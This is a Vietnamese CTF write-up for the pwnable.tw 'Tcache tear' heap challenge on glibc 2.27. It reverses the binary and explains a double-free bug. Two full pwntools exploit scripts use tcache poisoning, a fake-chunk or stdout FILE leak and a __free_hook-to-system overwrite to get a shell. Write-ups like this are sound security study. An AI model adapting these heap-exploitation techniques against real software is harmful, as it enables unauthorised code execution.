--- title: '[Pwnable.tw] Tcache tear' tags: writeup, heap, pwntw, libc_2.27 --- [toc] ## **SOURCE** > libc phiên bản 2.27 > ![](https://i.imgur.com/CW7rFcg.png) ![](https://i.imgur.com/SGs6Axz.png) ## **REVERSE** > Đây là các hàm có liên quan ### Main ```c= void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { __int64 v3; // rax unsigned int v4; // [rsp+Ch] [rbp-4h] init(); printf("Name:"); Read((__int64)&Name, 0x20u); v4 = 0; while ( 1 ) { while ( 1 ) { menu(); v3 = read_long(); if ( v3 != 2 ) break; if ( v4 <= 7 ) { free(ptr); ++v4; } } if ( v3 > 2 ) { if ( v3 == 3 ) { Print(); } else { if ( v3 == 4 ) exit(0); LABEL_14: puts("Invalid choice"); } } else { if ( v3 != 1 ) goto LABEL_14; create(); } } } ``` ### Create ```c= int create() { unsigned __int64 v0; // rax int size; // [rsp+8h] [rbp-8h] printf("Size:"); v0 = read_long(); size = v0; if ( v0 <= 0xFF ) { ptr = malloc(v0); printf("Data:"); Read((__int64)ptr, size - 16); LODWORD(v0) = puts("Done !"); } return v0; } ``` ### Print ```c= ssize_t Print() { printf("Name :"); return write(1, &Name, 0x20uLL); } ``` Chương trình cho phép tạo ptr với size <= 255 và ghi, nhưng chỉ lưu một ptr. Có thể free tối đã 8 lần, in ra name (biến ở bss). ## **VULN** * Sau khi Free không set ptr về 0. > chương trình dùng libc 2.27 nên có thể double free và trả về ptr ở địa chỉ bất kì. ## **APPROACH** Đầu tiên thử ghi vào bảng GOT nhưng vì Full Relro nên bảng GOT không có quyền write, vì vậy phải leak libc base và ghi vào __free_hook. Leak libc bằng cách tạo một fake chunk ở name rồi đưa nó vào unsorted bin, khi đó fd và next_ptr của fake chunk sẽ trỏ về libc, gọi print để in ra name từ đó lấy được libc base hoặc một cách khác ghi đè __IO_stdout_. Double free tạo con trỏ đến __free_hook, ghi đè thành địa chỉ system. ## **STEPS** **Cách :** 1. Ghi vào name 0x501 dùng làm size cho fake chunk. 2. Tạo một con trỏ tới 0x602570, fake 2 chunk tiếp theo của fake chunk. 3. Tạo một con trỏ tới 0x602070, free để đưa fake chunk vào unsorted bin. 4. Gọi print => leak libc base 5. Tạo một ptr trỏ tới __free_hook bằng double free 6. Ghi system vào __free_hook. **Cách 2:** 1. Tạo một ptr trỏ tới 0x602020 (địa chỉ của _FILE_stdout_ trên binary) bằng double free. 2. Tạo một ptr nữa với cũng size với lần trên để lấy _FILE_stdout_ ra, ghi `p64(0x0fbad1800)+ 3*p64(0) + b'\x00'` vào => leak libc base. 3. Dùng double free tạo một ptr trỏ với __free_hook và đè thành system. ## **PAYLOAD** **Cách 1:** ```python= # -- coding: utf-8 -- from pwn import * # ENV PORT = 10207 HOST = "chall.pwnable.tw" e = context.binary = ELF('./tcache_tear_patched') # lib = ELF('') lib = e.libc if len(sys.argv) > 1 and sys.argv[1] == 'r': r = remote(HOST, PORT) else: r = e.process() pause() # VARIABLE name_add = 0x602060 ptr = 0x602088 def name(name): r.sendlineafter("Name:", name) def create(size, data, newline=True): r.sendlineafter("Your choice :", "1") r.sendlineafter("Size:", str(size)) if newline: r.sendlineafter("Data:", data) else: r.sendafter("Data:", data) def free(): r.sendlineafter("Your choice :", "2") def print_name(): r.sendlineafter("Your choice :", "3") r.recvuntil("Name :") return r.recvline() # PAYLOAD name(p64(0) + p64(0x501)) create(0x50, 'a') free() free() create(0x50, p64(name_add+0x500)) create(0x50, p64(0)+p64(0x21) + p64(0)*3 + p64(0x21)) create(0x50, p64(0)+p64(0x21) + p64(0)*3 + p64(0x21)) create(0x30, 'a') free() free() create(0x30, p64(name_add+0x10)) create(0x30, p64(0x123)) create(0x30, p64(0x00)) free() leak = u64(print_name()[16:24]) info("leak: 0x%x" % leak) lib.address = leak - 0x3ebca0 info("base: 0x%x" % lib.address) create(0x40, 'a') free() free() create(0x40, p64(lib.sym.__free_hook)) create(0x40, p64(0x123)) create(0x40, p64(lib.sym.system)) create(5, "/bin/sh") free() r.sendline("id") r.interactive() ``` **Cách 2:** ![](https://i.imgur.com/7KvWLQw.png) ```python= # -- coding: utf-8 -- from pwn import * # ENV PORT = 10207 HOST = "chall.pwnable.tw" e = context.binary = ELF('./tcache_tear_patched') # lib = ELF('') lib = e.libc if len(sys.argv) > 1 and sys.argv[1] == 'r': r = remote(HOST, PORT) else: r = e.process() # pause() # VARIABLE name_add = 0x602060 ptr = 0x602088 stdout = 0x602020 def name(name): r.sendlineafter("Name:", name) def create(size, data, newline=True): r.sendlineafter("Your choice :", "1") r.sendlineafter("Size:", str(size)) if newline: r.sendlineafter("Data:", data) else: r.sendafter("Data:", data) def free(): r.sendlineafter("Your choice :", "2") def print_name(): r.sendlineafter("Your choice :", "3") r.recvuntil("Name :") return r.recvline() # PAYLOAD name(p64(0) + "name") create(0x70, "t") free() free() create(0x70, p64(stdout)) create(0x70, 'a') create(0x70, '\x60', newline=False) create(0x70, p64(0x0fbad1800)+ 3*p64(0) + b'\x00', newline=False) leak = u64(r.recvline()[8:16]) info("leak: 0x%x" % leak) lib.address = leak - 0x3ed8b0 info("base: 0x%x" % lib.address) create(0x20, 'a') free() free() create(0x20, p64(lib.sym.__free_hook)) create(0x20, 'a') create(0x20, p64(lib.sym.system)) create(40, '/bin/sh') free() r.sendline("id") r.interactive() ``` ![](https://i.imgur.com/sfl7Fhn.png)